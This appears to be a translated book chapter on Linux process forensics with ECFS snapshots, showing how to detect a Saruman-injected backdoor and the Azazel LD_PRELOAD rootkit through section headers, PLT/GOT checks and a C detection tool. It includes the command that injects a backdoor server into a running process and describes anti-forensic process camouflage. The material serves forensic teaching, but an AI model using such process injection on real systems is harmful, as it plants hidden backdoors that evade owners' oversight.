-a  print all (equiv to -Sslphega)
-s  print symbol table info
-l  print shared library names
-p  print ELF program headers
-S  print ELF section headers
-h  print ELF header
-g  print PLTGOT info
-A  print Auxiliary vector
-P  print personality info
-e  print ecfs specific (auiliary vector, process state, sockets, pipes, fd's, etc.)

-[View raw data from a section]
-R <ecfscore> <section>

-[Copy an ELF section into a file (Similar to objcopy)]
-O <ecfscore> .section <outfile>

-[Extract and decompress /proc/$pid from .procfs.tgz section into directory]
-X <ecfscore> <output_dir>

Examples:
readecfs -e <ecfscore>
readecfs -Ag <ecfscore>
readecfs -R <ecfscore> .stack
readecfs -R <ecfscore> .bss
readecfs -eR <ecfscore> .heap
readecfs -O <ecfscore> .vdso vdso_elf.so
readecfs -X <ecfscore> procfs_dir

使用 ECFS 检查被感染的进程

在展示 ECFS 在真实案例中的有效性之前,了解一下我们将从黑客的角度使用的感染方法的背景将会很有帮助。对于黑客来说,能够将反取证技术纳入其在受损系统上的工作流程中是非常有用的,这样他们的程序,尤其是那些充当后门等的程序,可以对未经训练的人保持隐藏。

其中一种技术是执行伪装进程。这是在现有进程内运行程序的行为,理想情况下是在已知是良性但持久的进程内运行,例如 ftpd 或 sshd。Saruman 反取证执行(www.bitlackeys.org/#saruman)允许攻击者将一个完整的、动态链接的 PIE 可执行文件注入到现有进程的地址空间并运行它。

它使用线程注入技术,以便注入的程序可以与主机程序同时运行。这种特定的黑客技术是我在 2013 年想出并设计的,但我毫不怀疑其他类似的工具在地下场景中存在的时间比这长得多。通常,这种类型的反取证技术会不被注意到,并且很难被检测到。

让我们看看通过使用 ECFS 技术分析这样的进程可以实现什么样的效率和准确性。

感染主机进程

主机进程是一个良性进程,通常会是像 sshd 或 ftpd 这样的东西,就像之前提到的那样。为了举例,我们将使用一个简单而持久的名为 host 的程序;它只是在屏幕上打印一条消息并在无限循环中运行。然后,我们将使用 Saruman 反取证执行启动程序将远程服务器后门注入到该进程中。

在终端 1 中,运行主机程序:

$ ./host
I am the host
I am the host
I am the host

在终端 2 中,将后门注入到进程中:

$ ./launcher `pidof host` ./server
[+] Thread injection succeeded, tid: 16187
[+] Saruman successfully injected program: ./server
[+] PT_DETACHED -> 16186
$

捕获和分析 ECFS 快照

现在,如果我们通过使用ecfs_snapshot实用程序捕获进程的快照,或者通过向进程发出核心转储信号,我们就可以开始我们的检查了。

符号表分析

让我们来看一下host.16186快照的符号表分析:

 readelf -s host.16186

Symbol table '.dynsym' contains 6 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 00007fba3811e000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 00007fba3818de30     0 FUNC    GLOBAL DEFAULT  UND puts
     2: 00007fba38209860     0 FUNC    GLOBAL DEFAULT  UND write
     3: 00007fba3813fdd0     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main
     4: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     5: 00007fba3818c4e0     0 FUNC    GLOBAL DEFAULT  UND fopen

Symbol table '.symtab' contains 6 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000400470    96 FUNC    GLOBAL DEFAULT   10 sub_400470
     1: 00000000004004d0    42 FUNC    GLOBAL DEFAULT   10 sub_4004d0
     2: 00000000004005bd    50 FUNC    GLOBAL DEFAULT   10 sub_4005bd
     3: 00000000004005ef    69 FUNC    GLOBAL DEFAULT   10 sub_4005ef
     4: 0000000000400640   101 FUNC    GLOBAL DEFAULT   10 sub_400640
     5: 00000000004006b0     2 FUNC    GLOBAL DEFAULT   10 sub_4006b0

readelf命令允许我们查看符号表。请注意,.dynsym中存在动态符号的符号表,以及存储在.symtab符号表中的本地函数的符号表。ECFS 能够通过访问动态段并找到DT_SYMTAB来重建动态符号表。

注意

.symtab符号表有点棘手,但非常有价值。ECFS 使用一种特殊的方法来解析包含以 dwarf 格式的帧描述条目的PT_GNU_EH_FRAME段;这些用于异常处理。这些信息对于收集二进制文件中定义的每个函数的位置和大小非常有用。

在函数被混淆的情况下,诸如 IDA 之类的工具将无法识别二进制或核心文件中定义的每个函数,但 ECFS 技术将成功。这是 ECFS 对逆向工程世界产生的主要影响之一——一种几乎无懈可击的定位和确定每个函数大小并生成符号表的方法。在host.16186文件中,符号表被完全重建。这很有用,因为它可以帮助我们检测是否有任何 PLT/GOT 钩子被用来重定向共享库函数,如果是的话,我们可以识别被劫持的函数的实际名称。

段头分析

现在,让我们来看一下host.16186快照的段头分析。

我的readelf版本已经稍作修改,以便它识别以下自定义类型:SHT_INJECTEDSHT_PRELOADED。如果不对 readelf 进行这种修改,它将只显示与这些定义相关的数值。如果你愿意,可以查看include/ecfs.h中的定义,并将它们添加到readelf源代码中:

$ readelf -S host.16186
There are 46 section headers, starting at offset 0x255464:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000400238  00002238
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note             NOTE             0000000000000000  000005f0
       000000000000133c  0000000000000000   A       0     0     4
  [ 3] .hash             GNU_HASH         0000000000400298  00002298
       000000000000001c  0000000000000000   A       0     0     4
  [ 4] .dynsym           DYNSYM           00000000004002b8  000022b8
       0000000000000090  0000000000000018   A       5     0     8
  [ 5] .dynstr           STRTAB           0000000000400348  00002348
       0000000000000049  0000000000000018   A       0     0     1
  [ 6] .rela.dyn         RELA             00000000004003c0  000023c0
       0000000000000018  0000000000000018   A       4     0     8
  [ 7] .rela.plt         RELA             00000000004003d8  000023d8
       0000000000000078  0000000000000018   A       4     0     8
  [ 8] .init             PROGBITS         0000000000400450  00002450
       000000000000001a  0000000000000000  AX       0     0     8
  [ 9] .plt              PROGBITS         0000000000400470  00002470
       0000000000000060  0000000000000010  AX       0     0     16
  [10] ._TEXT            PROGBITS         0000000000400000  00002000
       0000000000001000  0000000000000000  AX       0     0     16
  [11] .text             PROGBITS         00000000004004d0  000024d0
       00000000000001e2  0000000000000000           0     0     16
  [12] .fini             PROGBITS         00000000004006b4  000026b4
       0000000000000009  0000000000000000  AX       0     0     16
  [13] .eh_frame_hdr     PROGBITS         00000000004006e8  000026e8
       000000000000003c  0000000000000000  AX       0     0     4
  [14] .eh_frame         PROGBITS         0000000000400724  00002728
       0000000000000114  0000000000000000  AX       0     0     8
  [15] .ctors            PROGBITS         0000000000600e10  00003e10
       0000000000000008  0000000000000008   A       0     0     8
  [16] .dtors            PROGBITS         0000000000600e18  00003e18
       0000000000000008  0000000000000008   A       0     0     8
  [17] .dynamic          DYNAMIC          0000000000600e28  00003e28
       00000000000001d0  0000000000000010  WA       0     0     8
  [18] .got.plt          PROGBITS         0000000000601000  00004000
       0000000000000048  0000000000000008  WA       0     0     8
  [19] ._DATA            PROGBITS         0000000000600000  00003000
       0000000000001000  0000000000000000  WA       0     0     8
  [20] .data             PROGBITS         0000000000601040  00004040
       0000000000000010  0000000000000000  WA       0     0     8
  [21] .bss              PROGBITS         0000000000601050  00004050
       0000000000000008  0000000000000000  WA       0     0     8
  [22] .heap             PROGBITS         0000000000e9c000  00006000
       0000000000021000  0000000000000000  WA       0     0     8
  [23] .elf.dyn.0        INJECTED         00007fba37f1b000  00038000
       0000000000001000  0000000000000000  AX       0     0     8
  [24] libc-2.19.so.text SHLIB            00007fba3811e000  0003b000
       00000000001bb000  0000000000000000   A       0     0     8
  [25] libc-2.19.so.unde SHLIB            00007fba382d9000  001f6000
       00000000001ff000  0000000000000000   A       0     0     8
  [26] libc-2.19.so.relr SHLIB            00007fba384d8000  001f6000
       0000000000004000  0000000000000000   A       0     0     8
  [27] libc-2.19.so.data SHLIB            00007fba384dc000  001fa000
       0000000000002000  0000000000000000   A       0     0     8
  [28] ld-2.19.so.text   SHLIB            00007fba384e3000  00201000
       0000000000023000  0000000000000000   A       0     0     8
  [29] ld-2.19.so.relro  SHLIB            00007fba38705000  0022a000
       0000000000001000  0000000000000000   A       0     0     8
  [30] ld-2.19.so.data   SHLIB            00007fba38706000  0022b000
       0000000000001000  0000000000000000   A       0     0     8
  [31] .procfs.tgz       LOUSER+0         0000000000000000  00254388
       00000000000010dc  0000000000000001           0     0     8
  [32] .prstatus         PROGBITS         0000000000000000  00253000
       00000000000002a0  0000000000000150           0     0     8
  [33] .fdinfo           PROGBITS         0000000000000000  002532a0
       0000000000000ac8  0000000000000228           0     0     4
  [34] .siginfo          PROGBITS         0000000000000000  00253d68
       0000000000000080  0000000000000080           0     0     4
  [35] .auxvector        PROGBITS         0000000000000000  00253de8
       0000000000000130  0000000000000008           0     0     8
  [36] .exepath          PROGBITS         0000000000000000  00253f18
       000000000000001c  0000000000000008           0     0     1
  [37] .personality      PROGBITS         0000000000000000  00253f34
       0000000000000004  0000000000000004           0     0     1
  [38] .arglist          PROGBITS         0000000000000000  00253f38
       0000000000000050  0000000000000001           0     0     1
  [39] .fpregset         PROGBITS         0000000000000000  00253f88
       0000000000000400  0000000000000200           0     0     8
  [40] .stack            PROGBITS         00007fff4447c000  0022d000
       0000000000021000  0000000000000000  WA       0     0     8
  [41] .vdso             PROGBITS         00007fff444a9000  0024f000
       0000000000002000  0000000000000000  WA       0     0     8
  [42] .vsyscall         PROGBITS         ffffffffff600000  00251000
       0000000000001000  0000000000000000  WA       0     0     8
  [43] .symtab           SYMTAB           0000000000000000  0025619d
       0000000000000090  0000000000000018          44     0     4
  [44] .strtab           STRTAB           0000000000000000  0025622d
       0000000000000042  0000000000000000           0     0     1
  [45] .shstrtab         STRTAB           0000000000000000  00255fe4
       00000000000001b9  0000000000000000           0     0     1

第二十三部分对我们来说特别重要;它被标记为一个带有注入标记的可疑 ELF 对象:

  [23] .elf.dyn.0        INJECTED         00007fba37f1b000  00038000
       0000000000001000  0000000000000000  AX       0     0     8 

当 ECFS 启发式检测到一个 ELF 对象可疑,并且在其映射的共享库列表中找不到该特定对象时,它会以以下格式命名该段:

.elf.<type>.<count>

类型可以是四种之一:

  • ET_NONE

  • ET_EXEC

  • ET_DYN

  • ET_REL

在我们的例子中,它显然是ET_DYN,表示为dyn。计数只是找到的注入对象的索引。在这种情况下,索引是0,因为它是在这个特定进程中找到的第一个并且唯一的注入 ELF 对象。

INJECTED类型显然表示该部分包含一个被确定为可疑或通过非自然手段注入的 ELF 对象。在这种特殊情况下,进程被 Saruman(前面描述过)感染,它注入了一个位置无关可执行文件PIE)。PIE 可执行文件的类型是ET_DYN,类似于共享库,这就是为什么 ECFS 将其标记为这种类型。

使用 readecfs 提取寄生代码

我们在 ECFS 核心文件中发现了一个与寄生代码相关的部分,这是一个注入的 PIE 可执行文件。下一步是调查代码本身。可以通过以下方式之一来完成:使用objdump实用程序或更高级的反汇编器,如 IDA pro,来导航到名为.elf.dyn.0的部分,或者首先使用readecfs实用程序从 ECFS 核心文件中提取寄生代码:

$ readecfs -O host.16186 .elf.dyn.0 parasite_code.exe

- readecfs output for file host.16186
- Executable path (.exepath): /home/ryan/git/saruman/host
- Command line: ./host                                                                          

[+] Copying section data from '.elf.dyn.0' into output file 'parasite_code.exe'

现在,我们有了从进程映像中提取的寄生代码的唯一副本,这要归功于 ECFS。要识别这种特定的恶意软件,然后提取它,如果没有 ECFS,这将是一项极其繁琐的任务。现在我们可以将parasite_code.exe作为一个单独的文件进行检查,在 IDA 中打开它等等:

root@elfmaster:~/ecfs/cores# readelf -l parasite_code.exe
readelf: Error: Unable to read in 0x40 bytes of section headers
readelf: Error: Unable to read in 0x780 bytes of section headers

Elf file type is DYN (Shared object file)
Entry point 0xdb0
There are 9 program headers, starting at offset 64

Program Headers:
 Type        Offset             VirtAddr           PhysAddr
              FileSiz            MemSiz              Flags  Align
 PHDR         0x0000000000000040 0x0000000000000040 0x0000000000000040
              0x00000000000001f8 0x00000000000001f8  R E    8
 INTERP       0x0000000000000238 0x0000000000000238 0x0000000000000238
              0x000000000000001c 0x000000000000001c  R      1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
 LOAD         0x0000000000000000 0x0000000000000000 0x0000000000000000
              0x0000000000001934 0x0000000000001934  R E    200000
 LOAD         0x0000000000001df0 0x0000000000201df0 0x0000000000201df0
              0x0000000000000328 0x0000000000000330  RW     200000
 DYNAMIC      0x0000000000001e08 0x0000000000201e08 0x0000000000201e08
              0x00000000000001d0 0x00000000000001d0  RW     8
 NOTE         0x0000000000000254 0x0000000000000254 0x0000000000000254
              0x0000000000000044 0x0000000000000044  R      4
 GNU_EH_FRAME 0x00000000000017e0 0x00000000000017e0 0x00000000000017e0
              0x000000000000003c 0x000000000000003c  R      4
  GNU_STACK   0x0000000000000000 0x0000000000000000 0x0000000000000000
              0x0000000000000000 0x0000000000000000  RW     10
  GNU_RELRO   0x0000000000001df0 0x0000000000201df0 0x0000000000201df0
              0x0000000000000210 0x0000000000000210  R      1
readelf: Error: Unable to read in 0x1d0 bytes of dynamic section

请注意,readelf在前面的输出中抱怨。这是因为我们提取的寄生体没有自己的段头表。将来,readecfs实用程序将能够为从整体 ECFS 核心文件中提取的映射 ELF 对象重建一个最小的段头表。

分析 Azazel 用户态 rootkit

如第七章中所述,进程内存取证,Azazel 用户态 rootkit 是一种通过LD_PRELOAD感染进程的用户态 rootkit,其中 Azazel 共享库链接到进程,并劫持各种libc函数。在第七章中,进程内存取证,我们使用 GDB 和readelf来检查这种特定的 rootkit 感染进程。现在让我们尝试使用 ECFS 方法来进行这种类型的进程内省。以下是从已感染 Azazel rootkit 的可执行文件 host2 中的一个进程的 ECFS 快照。

重建 host2 进程的符号表

现在,这是 host2 的符号表在进程重建时:

$ readelf -s host2.7254

Symbol table '.dynsym' contains 7 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 00007f0a0d0ed070     0 FUNC    GLOBAL DEFAULT  UND unlink
     2: 00007f0a0d06fe30     0 FUNC    GLOBAL DEFAULT  UND puts
     3: 00007f0a0d0bcef0     0 FUNC    GLOBAL DEFAULT  UND opendir
     4: 00007f0a0d021dd0     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main
     5: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fopen

 Symbol table '.symtab' contains 5 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 00000000004004b0   112 FUNC    GLOBAL DEFAULT   10 sub_4004b0
     1: 0000000000400520    42 FUNC    GLOBAL DEFAULT   10 sub_400520
     2: 000000000040060d    68 FUNC    GLOBAL DEFAULT   10 sub_40060d
     3: 0000000000400660   101 FUNC    GLOBAL DEFAULT   10 sub_400660
     4: 00000000004006d0     2 FUNC    GLOBAL DEFAULT   10 sub_4006d0

从前面的符号表中我们可以看出,host2 是一个简单的程序,只有少量的共享库调用(这在.dynsym符号表中显示):unlinkputsopendirfopen

重建 host2 进程的段头表

让我们看看 host2 的段头表在进程重建时是什么样子的:

$ readelf -S host2.7254

There are 65 section headers, starting at offset 0x27e1ee:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000400238  00002238
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note             NOTE             0000000000000000  00000900
       000000000000105c  0000000000000000   A       0     0     4
  [ 3] .hash             GNU_HASH         0000000000400298  00002298
       000000000000001c  0000000000000000   A       0     0     4
  [ 4] .dynsym           DYNSYM           00000000004002b8  000022b8
       00000000000000a8  0000000000000018   A       5     0     8
  [ 5] .dynstr           STRTAB           0000000000400360  00002360
       0000000000000052  0000000000000018   A       0     0     1
  [ 6] .rela.dyn         RELA             00000000004003e0  000023e0
       0000000000000018  0000000000000018   A       4     0     8
  [ 7] .rela.plt         RELA             00000000004003f8  000023f8
       0000000000000090  0000000000000018   A       4     0     8
  [ 8] .init             PROGBITS         0000000000400488  00002488
       000000000000001a  0000000000000000  AX       0     0     8
  [ 9] .plt              PROGBITS         00000000004004b0  000024b0
       0000000000000070  0000000000000010  AX       0     0     16
  [10] ._TEXT            PROGBITS         0000000000400000  00002000
       0000000000001000  0000000000000000  AX       0     0     16
  [11] .text             PROGBITS         0000000000400520  00002520
       00000000000001b2  0000000000000000           0     0     16
  [12] .fini             PROGBITS         00000000004006d4  000026d4
       0000000000000009  0000000000000000  AX       0     0     16
  [13] .eh_frame_hdr     PROGBITS         0000000000400708  00002708
       0000000000000034  0000000000000000  AX       0     0     4
  [14] .eh_frame         PROGBITS         000000000040073c  00002740
       00000000000000f4  0000000000000000  AX       0     0     8
  [15] .ctors            PROGBITS         0000000000600e10  00003e10
       0000000000000008  0000000000000008   A       0     0     8
  [16] .dtors            PROGBITS         0000000000600e18  00003e18
       0000000000000008  0000000000000008   A       0     0     8
  [17] .dynamic          DYNAMIC          0000000000600e28  00003e28
       00000000000001d0  0000000000000010  WA       0     0     8
  [18] .got.plt          PROGBITS         0000000000601000  00004000
       0000000000000050  0000000000000008  WA       0     0     8
  [19] ._DATA            PROGBITS         0000000000600000  00003000
       0000000000001000  0000000000000000  WA       0     0     8
  [20] .data             PROGBITS         0000000000601048  00004048
       0000000000000010  0000000000000000  WA       0     0     8
  [21] .bss              PROGBITS         0000000000601058  00004058
       0000000000000008  0000000000000000  WA       0     0     8
  [22] .heap             PROGBITS         0000000000602000  00005000
       0000000000021000  0000000000000000  WA       0     0     8
  [23] libaudit.so.1.0.0 SHLIB            0000003001000000  00026000
       0000000000019000  0000000000000000   A       0     0     8
  [24] libaudit.so.1.0.0 SHLIB            0000003001019000  0003f000
       00000000001ff000  0000000000000000   A       0     0     8
  [25] libaudit.so.1.0.0 SHLIB            0000003001218000  0003f000
       0000000000001000  0000000000000000   A       0     0     8
  [26] libaudit.so.1.0.0 SHLIB            0000003001219000  00040000
       0000000000001000  0000000000000000   A       0     0     8
  [27] libpam.so.0.83.1\. SHLIB            0000003003400000  00041000
       000000000000d000  0000000000000000   A       0     0     8
  [28] libpam.so.0.83.1\. SHLIB            000000300340d000  0004e000
       00000000001ff000  0000000000000000   A       0     0     8
  [29] libpam.so.0.83.1\. SHLIB            000000300360c000  0004e000
       0000000000001000  0000000000000000   A       0     0     8
  [30] libpam.so.0.83.1\. SHLIB            000000300360d000  0004f000
       0000000000001000  0000000000000000   A       0     0     8
  [31] libutil-2.19.so.t SHLIB            00007f0a0cbf9000  00050000
       0000000000002000  0000000000000000   A       0     0     8
  [32] libutil-2.19.so.u SHLIB            00007f0a0cbfb000  00052000
       00000000001ff000  0000000000000000   A       0     0     8
  [33] libutil-2.19.so.r SHLIB            00007f0a0cdfa000  00052000
       0000000000001000  0000000000000000   A       0     0     8
  [34] libutil-2.19.so.d SHLIB            00007f0a0cdfb000  00053000
       0000000000001000  0000000000000000   A       0     0     8
  [35] libdl-2.19.so.tex SHLIB            00007f0a0cdfc000  00054000
       0000000000003000  0000000000000000   A       0     0     8
  [36] libdl-2.19.so.und SHLIB            00007f0a0cdff000  00057000
       00000000001ff000  0000000000000000   A       0     0     8
  [37] libdl-2.19.so.rel SHLIB            00007f0a0cffe000  00057000
       0000000000001000  0000000000000000   A       0     0     8
  [38] libdl-2.19.so.dat SHLIB            00007f0a0cfff000  00058000
       0000000000001000  0000000000000000   A       0     0     8
  [39] libc-2.19.so.text SHLIB            00007f0a0d000000  00059000
       00000000001bb000  0000000000000000   A       0     0     8
  [40] libc-2.19.so.unde SHLIB            00007f0a0d1bb000  00214000
       00000000001ff000  0000000000000000   A       0     0     8
  [41] libc-2.19.so.relr SHLIB            00007f0a0d3ba000  00214000
       0000000000004000  0000000000000000   A       0     0     8
  [42] libc-2.19.so.data SHLIB            00007f0a0d3be000  00218000
       0000000000002000  0000000000000000   A       0     0     8
  [43] azazel.so.text    PRELOADED        00007f0a0d3c5000  0021f000
       0000000000008000  0000000000000000   A       0     0     8
  [44] azazel.so.undef   PRELOADED        00007f0a0d3cd000  00227000
       00000000001ff000  0000000000000000   A       0     0     8
  [45] azazel.so.relro   PRELOADED        00007f0a0d5cc000  00227000
       0000000000001000  0000000000000000   A       0     0     8
  [46] azazel.so.data    PRELOADED        00007f0a0d5cd000  00228000
       0000000000001000  0000000000000000   A       0     0     8
  [47] ld-2.19.so.text   SHLIB            00007f0a0d5ce000  00229000
       0000000000023000  0000000000000000   A       0     0     8
  [48] ld-2.19.so.relro  SHLIB            00007f0a0d7f0000  00254000
       0000000000001000  0000000000000000   A       0     0     8
  [49] ld-2.19.so.data   SHLIB            00007f0a0d7f1000  00255000
       0000000000001000  0000000000000000   A       0     0     8
  [50] .procfs.tgz       LOUSER+0         0000000000000000  0027d038
       00000000000011b6  0000000000000001           0     0     8
  [51] .prstatus         PROGBITS         0000000000000000  0027c000
       0000000000000150  0000000000000150           0     0     8
  [52] .fdinfo           PROGBITS         0000000000000000  0027c150
       0000000000000ac8  0000000000000228           0     0     4
  [53] .siginfo          PROGBITS         0000000000000000  0027cc18
       0000000000000080  0000000000000080           0     0     4
  [54] .auxvector        PROGBITS         0000000000000000  0027cc98
       0000000000000130  0000000000000008           0     0     8
  [55] .exepath          PROGBITS         0000000000000000  0027cdc8
       000000000000001c  0000000000000008           0     0     1
  [56] .personality      PROGBITS         0000000000000000  0027cde4
       0000000000000004  0000000000000004           0     0     1
  [57] .arglist          PROGBITS         0000000000000000  0027cde8
       0000000000000050  0000000000000001           0     0     1
  [58] .fpregset         PROGBITS         0000000000000000  0027ce38
       0000000000000200  0000000000000200           0     0     8
  [59] .stack            PROGBITS         00007ffdb9161000  00257000
       0000000000021000  0000000000000000  WA       0     0     8
  [60] .vdso             PROGBITS         00007ffdb918f000  00279000
       0000000000002000  0000000000000000  WA       0     0     8
  [61] .vsyscall         PROGBITS         ffffffffff600000  0027b000
       0000000000001000  0000000000000000  WA       0     0     8
  [62] .symtab           SYMTAB           0000000000000000  0027f576
       0000000000000078  0000000000000018          63     0     4
  [63] .strtab           STRTAB           0000000000000000  0027f5ee
       0000000000000037  0000000000000000           0     0     1
  [64] .shstrtab         STRTAB           0000000000000000  0027f22e
       0000000000000348  0000000000000000           0     0     1

ELF 的 43 到 46 节都立即引起怀疑,因为它们标记为PRELOADED节类型,这表明它们是从使用LD_PRELOAD环境变量预加载的共享库的映射:

  [43] azazel.so.text    PRELOADED        00007f0a0d3c5000  0021f000
       0000000000008000  0000000000000000   A       0     0     8
  [44] azazel.so.undef   PRELOADED        00007f0a0d3cd000  00227000
       00000000001ff000  0000000000000000   A       0     0     8
  [45] azazel.so.relro   PRELOADED        00007f0a0d5cc000  00227000
       0000000000001000  0000000000000000   A       0     0     8
  [46] azazel.so.data    PRELOADED        00007f0a0d5cd000  00228000
       0000000000001000  0000000000000000   A       0     0     8

各种用户态 rootkit,如 Azazel,使用LD_PRELOAD作为它们的注入手段。下一步是查看 PLT/GOT(全局偏移表),并检查它是否包含指向各自边界之外的函数的指针。

你可能还记得前面的章节中提到 GOT 包含一个指针值表,应该指向这两者之一:

  • 对应的 PLT 条目中的 PLT 存根(记住第二章中的延迟链接概念,ELF 二进制格式

  • 如果链接器已经以某种方式(延迟或严格链接)解析了特定的 GOT 条目,那么它将指向可执行文件的.rela.plt节中相应重定位条目所表示的共享库函数

使用 ECFS 验证 PLT/GOT

手动理解和系统验证 PLT/GOT 的完整性是很繁琐的。幸运的是,使用 ECFS 可以很容易地完成这项工作。如果你喜欢编写自己的工具,那么你应该使用专门为此目的设计的libecfs函数:

ssize_t get_pltgot_info(ecfs_elf_t *desc, pltgot_info_t **pginfo)

该函数分配了一个结构数组,每个元素都与单个 PLT/GOT 条目相关。

名为pltgot_info_t的 C 结构具有以下格式:

typedef struct pltgotinfo {
   unsigned long got_site; // addr of the GOT entry itself
   unsigned long got_entry_va; // pointer value stored in the GOT entry
   unsigned long plt_entry_va; // the expected PLT address
   unsigned long shl_entry_va; // the expected shared lib function addr
} pltgot_info_t;

可以在ecfs/libecfs/main/detect_plt_hooks.c中找到使用此函数的示例。这是一个简单的演示工具,用于检测共享库注入和 PLT/GOT 钩子,稍后在本章中进行了展示和注释,以便清晰地理解。readecfs实用程序还演示了在传递-g标志时使用get_pltgot_info()函数。

用于 PLT/GOT 验证的 readecfs 输出

- readecfs output for file host2.7254
- Executable path (.exepath): /home/user/git/azazel/host2
- Command line: ./host2
- Printing out GOT/PLT characteristics (pltgot_info_t):
gotsite    gotvalue       gotshlib          pltval         symbol
0x601018   0x7f0a0d3c8c81  0x7f0a0d0ed070   0x4004c6      unlink
0x601020   0x7f0a0d06fe30  0x7f0a0d06fe30   0x4004d6      puts
0x601028   0x7f0a0d3c8d77  0x7f0a0d0bcef0   0x4004e6      opendir
0x601030   0x7f0a0d021dd0  0x7f0a0d021dd0   0x4004f6      __libc_start_main

前面的输出很容易解析。gotvalue应该有一个地址,与gotshlibpltval匹配。然而,我们可以看到,第一个条目,即符号unlink,其地址为0x7f0a0d3c8c81。这与预期的共享库函数或 PLT 值不匹配。

进一步调查将显示该地址指向azazel.so中的一个函数。从前面的输出中,我们可以看到,唯一没有被篡改的两个函数是puts__libc_start_main。为了更深入地了解检测过程,让我们看一下一个工具的源代码,该工具作为其检测功能的一部分自动进行 PLT/GOT 验证。这个工具叫做detect_plt_hooks,是用 C 编写的。它利用 libecfs API 来加载和解析 ECFS 快照。

请注意,以下代码大约有 50 行源代码,这相当了不起。如果我们不使用 ECFS 或 libecfs,要准确分析共享库注入和 PLT/GOT 钩子的进程映像,大约需要 3000 行 C 代码。我知道这一点,因为我已经做过了,而使用 libecfs 是迄今为止最轻松的方法。

这里有一个使用detect_plt_hooks.c的代码示例:

#include "../include/libecfs.h"

int main(int argc, char **argv)
{
    ecfs_elf_t *desc;
    ecfs_sym_t *dsyms;
    char *progname;
    int i;
    char *libname;
    long evil_addr = 0;

    if (argc < 2) {
        printf("Usage: %s <ecfs_file>\n", argv[0]);
        exit(0);
    }

    /*
     * Load the ECFS file and creates descriptor
     */
    desc = load_ecfs_file(argv[1]);
    /*
     * Get the original program name
    */
    progname = get_exe_path(desc);

    printf("Performing analysis on '%s' which corresponds to executable: %s\n", argv[1], progname);

    /*
     * Look for any sections that are marked as INJECTED
     * or PRELOADED, indicating shared library injection
     * or ELF object injection.
     */
    for (i = 0; i < desc->ehdr->e_shnum; i++) {
        if (desc->shdr[i].sh_type == SHT_INJECTED) {
            libname = strdup(&desc->shstrtab[desc->shdr[i].sh_name]);
            printf("[!] Found malicously injected ET_DYN (Dynamic ELF): %s - base: %lx\n", libname, desc->shdr[i].sh_addr);
        } else
        if (desc->shdr[i].sh_type == SHT_PRELOADED) {
            libname = strdup(&desc->shstrtab[desc->shdr[i].sh_name]);
            printf("[!] Found a preloaded shared library (LD_PRELOAD): %s - base: %lx\n", libname, desc->shdr[i].sh_addr);
        }
    }
    /*
     * Load and validate the PLT/GOT to make sure that each
     * GOT entry points to its proper respective location
     * in either the PLT, or the correct shared lib function.
     */
    pltgot_info_t *pltgot;
    int gotcount = get_pltgot_info(desc, &pltgot);
    for (i = 0; i < gotcount; i++) {
        if (pltgot[i].got_entry_va != pltgot[i].shl_entry_va &&
            pltgot[i].got_entry_va != pltgot[i].plt_entry_va &&
            pltgot[i].shl_entry_va != 0) {
            printf("[!] Found PLT/GOT hook: A function is pointing at %lx instead of %lx\n",
                pltgot[i].got_entry_va, evil_addr = pltgot[i].shl_entry_va);
     /*
      * Load the dynamic symbol table to print the
      * hijacked function by name.
      */
            int symcount = get_dynamic_symbols(desc, &dsyms);
            for (i = 0; i < symcount; i++) {
                if (dsyms[i].symval == evil_addr) {
                    printf("[!] %lx corresponds to hijacked function: %s\n", dsyms[i].symval, &dsyms[i].strtab[dsyms[i].nameoffset]);
                break;
                }
            }
        }
    }
    return 0;
}

ECFS 参考指南

ECFS 文件格式既简单又复杂!总的来说,ELF 文件格式本身就很复杂,ECFS 从结构上继承了这些复杂性。另一方面,如果你知道它具有哪些特定特性以及要寻找什么,ECFS 可以帮助你轻松地浏览进程映像。

在前面的章节中,我们给出了一些利用 ECFS 的实际例子,展示了它的许多主要特性。然而,重要的是要有一个简单直接的参考,了解这些特性是什么,比如存在哪些自定义节以及它们的确切含义。在本节中,我们将为 ECFS 快照文件提供一个参考。

ECFS 符号表重建

ECFS 处理程序使用对 ELF 二进制格式甚至是 dwarf 调试格式的高级理解,特别是动态段和GNU_EH_FRAME段,来完全重建程序的符号表。即使原始二进制文件已经被剥离并且没有部分头,ECFS 处理程序也足够智能,可以重建符号表。

我个人从未遇到过符号表重建完全失败的情况。它通常会重建所有或大多数符号表条目。可以使用诸如readelfreadecfs之类的实用程序访问符号表。libecfs API 还具有几个功能:

int get_dynamic_symbols(ecfs_elf_t *desc, ecfs_sym_t **syms)
int get_local_symbols(ecfs_elf_t *desc, ecfs_sym_t **syms)

一个函数获取动态符号表,另一个获取本地符号表——分别是.dynsym.symtab

以下是使用readelf读取符号表:

$ readelf -s host.6758

Symbol table '.dynsym' contains 8 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 00007f3dfd48b000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 00007f3dfd4f9730     0 FUNC    GLOBAL DEFAULT  UND fputs
     2: 00007f3dfd4acdd0     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main
     3: 00007f3dfd4f9220     0 FUNC    GLOBAL DEFAULT  UND fgets
     4: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     5: 00007f3dfd4f94e0     0 FUNC    GLOBAL DEFAULT  UND fopen
